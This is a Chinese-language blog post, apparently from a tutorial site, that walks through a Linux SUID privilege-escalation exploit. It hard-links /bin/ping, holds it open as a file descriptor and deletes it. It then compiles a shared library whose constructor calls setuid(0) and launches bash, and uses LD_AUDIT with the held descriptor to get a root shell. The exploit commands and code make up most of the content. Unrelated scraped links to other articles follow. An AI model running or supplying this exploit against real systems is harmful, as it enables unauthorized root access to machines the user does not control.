查看tmp目录权限

ll -d /tmp

切换到tmp目录

cd /tmp

创建一个exploit目录

mkdir exploit

查看ping命令带suid权限

ll /bin/ping

创建target文件硬链接

ln /bin/ping /tmp/exploit/target

查看target文件权限

ll /tmp/exploit/target

把target文件加载到内存中

exec 3< /tmp/exploit/target

查看target在内存中的情况

"ll /proc/$$/fd/3"

删除target文件

rm -rf /tmp/exploit/

查看target在内存中的情况是删除状态

"ll /proc/$$/fd/3"

创建一个c语言代码

vim payload.c

void __attribute__((constructor)) init()  // 两个下划线
{
setuid(0);
system("/bin/bash");
}

利用gcc编译这段代码

gcc -W -fPIC -shared -o /tmp/exploit payload.c

提升到root权限

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

执行完,查看当前会话已经是root

whoami

附:通过以下的命令可以找到系统上所有的设置了suid的文件:

find / -perm -04000 -type f -ls

SUID提权的更多相关文章

  1. Linux提权-suid提权

    0x1 suid概念 通俗理解为其他用户执行这个程序是可以用该程序所有者/组的权限 0x2 suid提权 简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就 ...

  2. Linux下用SUID提权

    关于SUID详细:Linux下的用户.组和权限 SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得 ...

  3. linux关于suid提权笔记

    suid全称是Set owner User ID up on execution.这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执 ...

  4. Os-hackNos-1(drupal7+suid提权)

    一.信息收集 得到 ip是 192.168.56.101 , 端口开启了22和80,扫目录发现drupal 7 访问一下呢 在exploit-db上面搜索到存在相关的漏洞,而且是用直接上msf 使用第 ...

  5. Linux suid 提权

    SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限.在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限.S ...

  6. 从getshell到提权

    从getshell到提权 一.起因 学校推出新的党建系统,之前党建系统还参与开发,后来因为一些原因没有开发,主要想看看这届工作室的学弟.学妹代码水平,把源码撸下来审计一下,工作室用git开发的,记着上 ...

  7. linux提权方法(不断总结更新)

    目录 1.suid提权 2.rbash绕过 3.git提权 4.Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LO ...

  8. Linux提权小结

    原文链接:http://zone.secevery.com/article/1104 Linux提权1.信息收集2.脏牛漏洞提权3.内核漏洞exp提权4.SUID提权 0x00 基础信息收集(1):内 ...

  9. vunlhub-DC-1-LinuxSuid提权

    将靶场搭建起来 桥接看不到IP 于是用masscan 进行C段扫描 试试80 8080 访问之后发现是个drupal 掏出msf搜索一波 使用最近年限的exp尝试 exploit/unix/webap ...

随机推荐

  1. DRF框架(五)——context传参,二次封装Response类,两个视图基类(APIView/GenericAPIView),视图扩展类(mixins),子类视图(工具视图),视图集(viewsets),工具视图集

    复习 1.整体修改与局部修改 # 序列化get (给前端传递参数) #查询 ser_obj = ModelSerializer(model_obj) #只传递一个参数,默认是instance的参数,查 ...

  2. 2019-07-02 python流程控制

    今天的知识点包括:if / while / for 为什么要有if判断:判断指的是判断事物的对错,真假,想让计算机像人一样去工作.思考,那么计算机也应该有判断事物的对错的能力,那么就要用到if判断语句 ...

  3. Python实现斐波那契递归和尾递归计算

    ##斐波那契递归测试 def fibonacciRecursive(deepth): if deepth == 1: return 1 elif deepth == 2: return 1 else: ...

  4. MySQL恩恩怨怨

    数据库基础 Windows安装MySQL Mac安装MySQL Linux安装MySQL MySQL存储引擎概述 MySQL表操作 MySQL支持的数据类型 MySQL表的完整性约束 MySQL记录操 ...

  5. Harbor 开机自启遇到的问题

    Harbor 是一个企业级的 Docker 私有仓库项目,它本身由多个 Docker Containers 组成,通过 docker-compose 管理 containers 之间的依赖关系. 安装 ...

  6. pyspider 数据存入Mysql--Python3

    一.不写入Mysql 以爬取哪儿网为例. 以下为脚本: from pyspider.libs.base_handler import * class Handler(BaseHandler): cra ...

  7. Codeforces Round #499 (Div. 1)

    Codeforces Round #499 (Div. 1) https://codeforces.com/contest/1010 为啥我\(\rm Div.1\)能\(A4\)题还是\(\rm s ...

  8. An Illustrated Proof of the CAP Theorem

    An Illustrated Proof of the CAP Theorem The CAP Theorem is a fundamental theorem in distributed syst ...

  9. [转]Go语言string,int,int64 ,float之间类型转换方法

    1 正文 (1)int转string s := strconv.Itoa(i) 等价于s := strconv.FormatInt(int64(i), 10) (2)int64转string i := ...

  10. c笔试题

    以下程序的输出是(). struct st { int x; int *y; } *p; ] = { ,,, }; ] = { ,&dt[],,&dt[],,&dt[],,&a ...